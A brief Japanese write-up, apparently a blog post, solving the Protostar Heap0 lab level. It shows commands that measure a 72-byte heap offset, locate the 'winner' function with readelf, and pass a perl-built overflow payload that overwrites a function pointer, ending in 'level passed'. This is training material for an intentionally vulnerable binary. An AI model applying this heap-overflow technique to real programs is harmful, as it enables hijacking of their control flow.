Exploit Exercises Protostar Heap0
いきなり難しいのでなくて、ちゃんとこのレベルから用意されてあるのはよいと思う。
Protostar Heap0
malloc
で返されるアドレス間の距離が実行ごとに変化することはない。
$ ./heap0 '' ''
data is at 0x9afb008, fp is at 0x9afb050
level has not been passed
$ echo $[0x9afb050 - 0x9afb008]
72
$ readelf -s heap0 | grep '\<winner\>'
55: 08048464 20 FUNC GLOBAL DEFAULT 14 winner
$ ./heap0 $(perl -e 'print "A"x72, "\x64\x84\x04\x08"')
data is at 0x8522008, fp is at 0x8522050
level passed